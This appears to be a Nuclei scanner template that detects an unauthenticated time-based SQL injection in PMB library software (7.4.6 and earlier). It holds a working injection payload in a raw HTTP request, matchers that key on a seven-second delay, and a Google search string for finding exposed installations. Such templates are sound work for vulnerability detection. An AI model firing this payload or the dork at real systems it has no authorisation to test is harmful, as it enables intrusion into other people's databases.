id: pmb-sqli

info:
  name: PMB <= 7.4.6 - SQL Injection
  author: r3Y3r53
  severity: high
  description: |
    PMB is a completely free ILS (Integrated Library management System). The domain of software for libraries is almost exclusively occupied by proprietary products. We are some librarians, users and developers deploring this state of affairs.
  reference:
    - https://www.exploit-db.com/exploits/51197
    - https://vulners.com/exploitdb/EDB-ID:51197
  classification:
    cwe-id: CWE-89
  metadata:
    verified: true
    max-request: 1
    google-query: inurl:"opac_css"
  tags: time-based-sqli,sqli,unauth,pmb,vuln

http:
  - raw:
      - |
        @timeout: 15s
        GET /pmb/opac_css/ajax.php?categ=storage&datetime=undefined&id=1%20AND%20(SELECT%20*%20FROM%20(SELECT(SLEEP(7)))SHde)&module=ajax&sub=save&token=undefined HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(content_type, "text/html")'
          - 'contains(header, "PmbOpac")'
          - 'duration>=7'
          - 'status_code == 200'
        condition: and
# digest: 4b0a00483046022100b6444fad96856c11a5d34843346caa910e151bc51421bba1b91d755c48992865022100dc90a05f15da0fe3b07c2555995478c0c2ec2d95899b0027f15afedf579746e3:922c64590222798bb761d5b6d8e72950